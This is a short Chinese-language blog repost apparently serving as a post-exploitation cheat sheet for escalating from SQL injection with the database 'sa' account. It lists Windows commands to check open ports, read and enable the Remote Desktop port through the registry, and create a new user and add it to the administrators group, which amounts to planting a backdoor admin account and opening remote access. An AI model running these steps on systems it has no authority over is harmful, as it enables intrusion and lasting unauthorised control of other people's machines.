MYSQL注入提升权限（sa用户）system admin

查看端口命令：netstat -an

查看3389端口：
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

开启3389命令;
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

添加用户：
net user 用户名 密码 /add
net localgroup administrators 用户名 /add

 

转载于:https://www.cnblogs.com/xiaoyuyu/archive/2013/01/31/2887475.html